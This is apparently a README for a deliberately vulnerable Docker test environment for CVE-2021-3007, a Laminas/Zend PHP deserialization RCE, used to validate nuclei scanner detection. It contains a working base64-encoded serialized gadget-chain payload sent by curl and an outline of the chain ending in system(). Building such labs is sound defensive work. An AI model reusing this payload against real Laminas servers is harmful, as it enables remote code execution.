用于验证安全扫描器中 CVE-2021-3007 检测的故意存在漏洞的测试环境。
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2021-3007 |
| 严重性 | 严重(CVSS 9.8) |
| 类型 | 不安全的反序列化 → 远程代码执行 |
| 影响版本 | Laminas HTTP < 2.14.2, Zend Framework 3.0.0 |
| CWE | CWE-502(不可信数据反序列化) |
# Clone repository
git clone https://github.com/KrE80r/CVE-2021-3007-vulnerable
cd CVE-2021-3007-vulnerable
# Start vulnerable environment
docker-compose up -d
# Verify it's running
curl http://localhost:8080
# Test with nuclei (optional)
nuclei -t CVE-2021-3007.yaml -u http://localhost:8080
# Cleanup
docker-compose down
docker-compose up -d && sleep 3 && curl -s http://localhost:8080 | head -1
# Send serialized payload triggering RCE
curl -X POST http://localhost:8080/ \
-d "data=TzoyODoiTGFtaW5hc1xIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086Mjg6IkxhbWluYXNcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMzoiTGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQ0OiIATGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoyMToiTGFtaW5hc1xDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjE3OiJmaWxlX2dldF9jb250ZW50cyI7fX19czoxMzoiACoAYXR0cmlidXRlcyI7YToxOntzOjIyOiJlY2hvIG51Y2xlaUNWRTIwMjEzMDA3IjtpOjE7fX19"
# Expected: Response contains "nucleiCVE20213007" confirming RCE
Laminas\Http\Response\Stream::__destruct()
└─► Laminas\View\Helper\Gravatar::__toString()
└─► Laminas\View\Renderer\PhpRenderer::plugin()
└─► Laminas\Config\Config::get()
└─► system() / file_get_contents()
| 包 | 版本 | 用途 |
|---|---|---|
| laminas/laminas-http | 2.14.1 | 存在漏洞的 HTTP 组件 |
| laminas/laminas-view | 2.12.0 | 利用链组件 |
| laminas/laminas-config | 3.7.0 | 利用链组件 |
应用程序通过 POST 接受序列化数据:
/ 或 /index.phpdata、payload、serialized| 组件 | 值 |
|---|---|
| 基础镜像 | php:8.1-apache |
| 端口 | 8080 |
| 容器名称 | cve-2021-3007-vulnerable |
.
├── Dockerfile # 容器构建配置
├── docker-compose.yml # 编排(一键设置)
├── index.php # 存在漏洞的 PHP 应用程序
├── LICENSE # MIT 许可证
└── README.md # 本文件
警告:此环境仅为安全测试目的而故意存在漏洞。
禁止:
建议:
MIT 许可证 - 仅供安全研究和教育用途。
为 nuclei 模板验证而创建 | projectdiscovery/nuclei-templates